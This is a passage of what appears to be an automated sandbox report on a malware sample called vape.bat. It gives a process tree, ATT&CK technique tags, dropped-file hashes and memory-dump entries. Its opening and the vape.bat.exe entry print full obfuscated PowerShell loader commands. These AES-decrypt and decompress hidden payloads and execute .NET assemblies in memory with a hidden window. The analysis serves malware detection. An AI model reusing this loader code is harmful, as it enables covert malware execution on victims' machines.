'')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8G4arHTtORWkqMdtdm7CA=');$tgmGC = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tgmGC, 0, $tgmGC.Length);$tgmGC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tgmGC);$zvkCv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JVVxi793TWK0eiazbMjyxQ==');$zvkCv = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($zvkCv, 0, $zvkCv.Length);$zvkCv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($zvkCv);$MrvyW = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('y9CiMcnIF08D1mbStDfFzg==');$MrvyW = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MrvyW, 0, $MrvyW.Length);$MrvyW = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MrvyW);$UFhRe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4Gkz3kktZWs5v4iY/fwpuA==');$UFhRe = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UFhRe, 0, $UFhRe.Length);$UFhRe = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UFhRe);$BdNHQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWujaRBJ7Bka6/SLPc2zjg==');$BdNHQ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BdNHQ, 0, $BdNHQ.Length);$BdNHQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BdNHQ);$NXCWg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JS1eCTl+J3Vy2lPum4BV+A==');$NXCWg = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NXCWg, 0, $NXCWg.Length);$NXCWg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NXCWg);$UMIrZ0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xun+s5YVAeQzgGPJKptAJw==');$UMIrZ0 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ0, 0, $UMIrZ0.Length);$UMIrZ0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ0);$UMIrZ1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tKxTd8rUmwwPDWYqtJ+flg==');$UMIrZ1 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ1, 0, $UMIrZ1.Length);$UMIrZ1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ1);$UMIrZ2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwPWmxWc7oP0xMzohMzOyA==');$UMIrZ2 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ2, 0, $UMIrZ2.Length);$UMIrZ2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ2);$UMIrZ3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('00EoyZz50MzeF+YVDb5OyQ==');$UMIrZ3 = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ3, 0, $UMIrZ3.Length);$UMIrZ3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ3);$qsFQP.Dispose();$xCaUG1.Dispose();if (@(get-process -ea silentlycontinue $UMIrZ3).count -gt 1) {exit};$dINWW = [Microsoft.Win32.Registry]::$BdNHQ.$UFhRe($UMIrZ).$MrvyW($PYyQA);$QJXfU=[string[]]$dINWW.Split('\');$flTmo=nnKof(VOHZF([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[1])));vzvJZ $flTmo (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$iBTnS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QJXfU[0]);$xCaUG = New-Object System.Security.Cryptography.AesManaged;$xCaUG.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$CTnvz = $xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')();$iBTnS = $CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBTnS, 0, $iBTnS.Length);$CTnvz.Dispose();$xCaUG.Dispose();$ABMbT = New-Object System.IO.MemoryStream(, $iBTnS);$FswzF = New-Object System.IO.MemoryStream;$ZWQus = New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::$UMIrZ1);$ZWQus.$NXCWg($FswzF);$ZWQus.Dispose();$ABMbT.Dispose();$FswzF.Dispose();$iBTnS = $FswzF.ToArray();$JJwWP = $tgmGC | IEX;$kXIpu = $JJwWP::$UMIrZ2($iBTnS);$OPPDg = $kXIpu.EntryPoint;$OPPDg.$UMIrZ0($null, (, [string[]] ($roofG)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:976
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{c211c275-51d7-49d3-b53b-d6864b9b461e}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1520
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1588

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1664

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1188

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1796

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2088

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2264

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2332

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2672

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:2756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2772

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2808

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3092

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vape.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:588
- - C:\Users\Admin\AppData\Local\Temp\vape.bat.exe
    "vape.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function pXqKy($AMMuC){ $QAuMi=[System.Security.Cryptography.Aes]::Create(); $QAuMi.Mode=[System.Security.Cryptography.CipherMode]::CBC; $QAuMi.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $QAuMi.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('loy14lThS3SgWk7zmlM+U1LaSbD9l9+GRTu5mLzp2mM='); $QAuMi.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lS2YpgJeBrTrEw/fJyL2OQ=='); $LSyot=$QAuMi.CreateDecryptor(); $return_var=$LSyot.TransformFinalBlock($AMMuC, 0, $AMMuC.Length); $LSyot.Dispose(); $QAuMi.Dispose(); $return_var;}function YaPup($AMMuC){ $BpqPy=New-Object System.IO.MemoryStream(,$AMMuC); $MUxyL=New-Object System.IO.MemoryStream; $QRzEr=New-Object System.IO.Compression.GZipStream($BpqPy, [IO.Compression.CompressionMode]::Decompress); $QRzEr.CopyTo($MUxyL); $QRzEr.Dispose(); $BpqPy.Dispose(); $MUxyL.Dispose(); $MUxyL.ToArray();}function dAvUr($AMMuC,$oAPri){ $TIrdu=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$AMMuC); $cmozY=$TIrdu.EntryPoint; $cmozY.Invoke($null, $oAPri);}$agzCo=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\vape.bat').Split([Environment]::NewLine);foreach ($xWgWP in $agzCo) { if ($xWgWP.StartsWith('SEROXEN')) { $gZeLJ=$xWgWP.Substring(7); break; }}$paQQY=[string[]]$gZeLJ.Split('\');$ahdVx=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[0])));$qbiwj=YaPup (pXqKy ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($paQQY[1])));dAvUr $qbiwj (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dAvUr $ahdVx (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4184
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{9ace7f79-97c3-4184-a8b6-4e54b58db08f}
      4⤵
      PID:4608
  - - C:\Windows\SysWOW64\dllhost.exe
      C:\Windows\SysWOW64\dllhost.exe /Processid:{4850be5a-88b4-4036-b1b2-2b05a52ff5e1}
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3456

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3796

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3876

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3980

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:4240

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:2656

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2368

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Window

T1564.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4qdkjskx.o2g.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\vape.bat.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
324KB

MD5
c5db7b712f280c3ae4f731ad7d5ea171

SHA1
e8717ff0d40e01fd3b06de2aa5a401bed1c907cc

SHA256
f6c9532e1f4b66be96f0f56bd7c3a3c1997ea8066b91bfcc984e41f072c347ba

SHA512
bceaf7dc30f2c99b40b7025a5eb063f3131a1ef9349fdf356720eaef838bcf58ce3d5e3bad9459ddd2f872df430bdb66a766a5acff5d3bbc738eba8945cb0a89

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
32KB

MD5
356e04e106f6987a19938df67dea0b76

SHA1
f2fd7cde5f97427e497dfb07b7f682149dc896fb

SHA256
4ed8a115fa1dcfd532397b800775c1b54d2d407b52118b5423e94ff1ce855d7e

SHA512
df1c655fa3a95e001084af8c3aa97c54dbcb690210e1353dd836702cfb4af3c857449df62aa62d7ab525ffb4e0dc1552181dfcdee2c28f4af5c20df6d95811cd

Download Submit
memory/652-105-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/652-102-0x0000020287960000-0x0000020287987000-memory.dmp

Filesize
156KB

Download
memory/652-101-0x0000020287930000-0x0000020287952000-memory.dmp

Filesize
136KB

Download
memory/704-109-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/704-104-0x0000025D73E30000-0x0000025D73E57000-memory.dmp

Filesize
156KB

Download
memory/736-119-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/736-118-0x000001E8C8950000-0x000001E8C8977000-memory.dmp

Filesize
156KB

Download
memory/768-112-0x000001F6B9AB0000-0x000001F6B9AD7000-memory.dmp

Filesize
156KB

Download
memory/768-113-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/908-124-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/908-123-0x000002C006690000-0x000002C0066B7000-memory.dmp

Filesize
156KB

Download
memory/1008-115-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/1008-111-0x00000256B7560000-0x00000256B7587000-memory.dmp

Filesize
156KB

Download
memory/1020-37-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/1020-39-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/1052-127-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/1052-126-0x0000029F49890000-0x0000029F498B7000-memory.dmp

Filesize
156KB

Download
memory/1172-134-0x000001E91BC60000-0x000001E91BC87000-memory.dmp

Filesize
156KB

Download
memory/1172-135-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/1216-137-0x000002A868F40000-0x000002A868F67000-memory.dmp

Filesize
156KB

Download
memory/1216-138-0x00007FFB610D0000-0x00007FFB610E0000-memory.dmp

Filesize
64KB

Download
memory/4184-19-0x00007FFB9FDF0000-0x00007FFB9FEAD000-memory.dmp

Filesize
756KB

Download
memory/4184-40-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-30-0x00007FFBA1040000-0x00007FFBA1249000-memory.dmp

Filesize
2.0MB

Download
memory/4184-29-0x000001FF0E170000-0x000001FF0E192000-memory.dmp

Filesize
136KB

Download
memory/4184-36-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-32-0x000001FF0E190000-0x000001FF0E19A000-memory.dmp

Filesize
40KB

Download
memory/4184-28-0x000001FF27AB0000-0x000001FF27B08000-memory.dmp

Filesize
352KB

Download
memory/4184-27-0x000001FF27A50000-0x000001FF27AA6000-memory.dmp

Filesize
344KB

Download
memory/4184-26-0x000001FF279A0000-0x000001FF27A46000-memory.dmp

Filesize
664KB

Download
memory/4184-24-0x000001FF26F50000-0x000001FF279A0000-memory.dmp

Filesize
10.3MB

Download
memory/4184-23-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-72-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-75-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-20-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-22-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-21-0x00007FFB801F3000-0x00007FFB801F5000-memory.dmp

Filesize
8KB

Download
memory/4184-81-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-18-0x00007FFBA1040000-0x00007FFBA1249000-memory.dmp

Filesize
2.0MB

Download
memory/4184-17-0x000001FF0E150000-0x000001FF0E174000-memory.dmp

Filesize
144KB

Download
memory/4184-16-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-15-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-14-0x00007FFB801F0000-0x00007FFB80CB2000-memory.dmp

Filesize
10.8MB

Download
memory/4184-13-0x000001FF26990000-0x000001FF269B2000-memory.dmp

Filesize
136KB

Download
memory/4184-4-0x00007FFB801F3000-0x00007FFB801F5000-memory.dmp

Filesize
8KB

Download
memory/4392-96-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4392-97-0x00007FFBA1040000-0x00007FFBA1249000-memory.dmp

Filesize
2.0MB

Download
memory/4392-99-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4392-98-0x00007FFB9FDF0000-0x00007FFB9FEAD000-memory.dmp

Filesize
756KB

Download
memory/4392-95-0x0000000140000000-0x0000000140028000-memory.dmp

Filesize
160KB

Download
memory/4604-94-0x0000026619810000-0x0000026619846000-memory.dmp

Filesize
216KB

Download
memory/4604-92-0x00007FFBA1040000-0x00007FFBA1249000-memory.dmp

Filesize
2.0MB

Download
memory/4604-93-0x00007FFB9FDF0000-0x00007FFB9FEAD000-memory.dmp

Filesize
756KB

Download
memory/4604-91-0x00000266194F0000-0x000002661953E000-memory.dmp

Filesize
312KB

Download
memory/4604-90-0x000002667F9E0000-0x000002667FA1C000-memory.dmp

Filesize
240KB

Download
memory/4604-80-0x000002667FDF0000-0x000002667FFB2000-memory.dmp

Filesize
1.8MB

Download
memory/4604-79-0x000002667FB60000-0x000002667FC12000-memory.dmp

Filesize
712KB

Download
memory/4604-78-0x000002667F770000-0x000002667F7C0000-memory.dmp

Filesize
320KB

Download
memory/4604-68-0x00007FFBA1040000-0x00007FFBA1249000-memory.dmp

Filesize
2.0MB

Download
memory/4604-66-0x0000026621160000-0x000002662159E000-memory.dmp

Filesize
4.2MB

Download
memory/4604-67-0x00000266215A0000-0x0000026621652000-memory.dmp

Filesize
712KB

Download
memory/4604-65-0x0000026620990000-0x000002662115A000-memory.dmp

Filesize
7.8MB

Download
memory/4604-64-0x0000026618330000-0x00000266188B6000-memory.dmp

Filesize
5.5MB

Download
memory/4604-63-0x00007FFB9FDF0000-0x00007FFB9FEAD000-memory.dmp

Filesize
756KB

Download
memory/4604-62-0x00007FFBA1040000-0x00007FFBA1249000-memory.dmp

Filesize
2.0MB

Download
memory/5012-33-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/5012-35-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download